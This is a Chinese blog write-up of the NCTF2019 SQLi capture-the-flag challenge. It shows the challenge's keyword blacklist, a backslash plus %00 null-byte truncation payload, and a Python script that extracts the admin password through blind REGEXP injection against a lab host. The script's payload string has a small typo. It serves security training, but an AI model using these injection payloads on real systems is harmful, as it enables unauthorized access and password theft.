[NCTF2019]SQLi

知识点

  • %00截断
  • regexp注入

WP

明天考数据库,概念属实背不下去了,做一道sql注入来放松放松。

首先进入环境,提示要try to make the sqlquery have its own results。
看到语句是这样:

select * from users where username='' and passwd=''

猜测可能过滤了很多东西,经过信息收集发现存在robots.txt,里面写了hint.txt,里面的内容如下:

$black_list = “/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|’|=| |in|<|>|-|.|()|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i”;

If $_POST[‘passwd’] === admin’s password,

Then you will get the flag;

发现过滤了很多东西,而且需要我们传正确的passwd才能得到flag。

首先发现没有过滤反斜杠,因此可以转义单引号。但是问题是过滤了# - '这三个东西,我们就没法将最后多出来的单引号给去掉。

我查了一下,发现了可以00截断。看了一下题目的环境:
在这里插入图片描述
确实是存在00截断的php版本,因此利用00截断:

username=\&passwd=||(1);%00

然后就是想办法注入了。因为过滤了Like,可以用REGEXP来注入,脚本如下:

import requests
import string
from urllib.parse import unquote
url='http://fcc7d9e3-cb5c-4a51-a351-c90d1d2da1d3.node3.buuoj.cn/'

strs = string.ascii_letters+string.digits+"_"
result=''
payload="||(passwd/**/regexp**/0x{});"
#payload="||(username/**/regexp/**/0x{});"
while 1:
    for j in strs:
        p1="^"+result+j
        p2=bytes(p1,'UTF-8')
        pp=p2.hex()
        ppp=payload.format(pp)
        zero=unquote("%00", 'utf-8')
        ppp+=zero
        data={
    
    
            "username":"\\",
            "passwd":ppp
        }
        #print(data)
        r=requests.post(url=url,data=data).text
        #print(r)
        #break
        if "welcome" in r:
            result+=j
            print(result)
            break
    #print(data)

可能爆出的是有大写有小写的,转成小写就好了。然后输入密码得到flag。

写完后看了一下WP,发现因为没有过滤双引号,所以可以不用16进制来绕过,直接拿双引号就可以了。

猜你喜欢

转载自blog.csdn.net/rfrder/article/details/112000465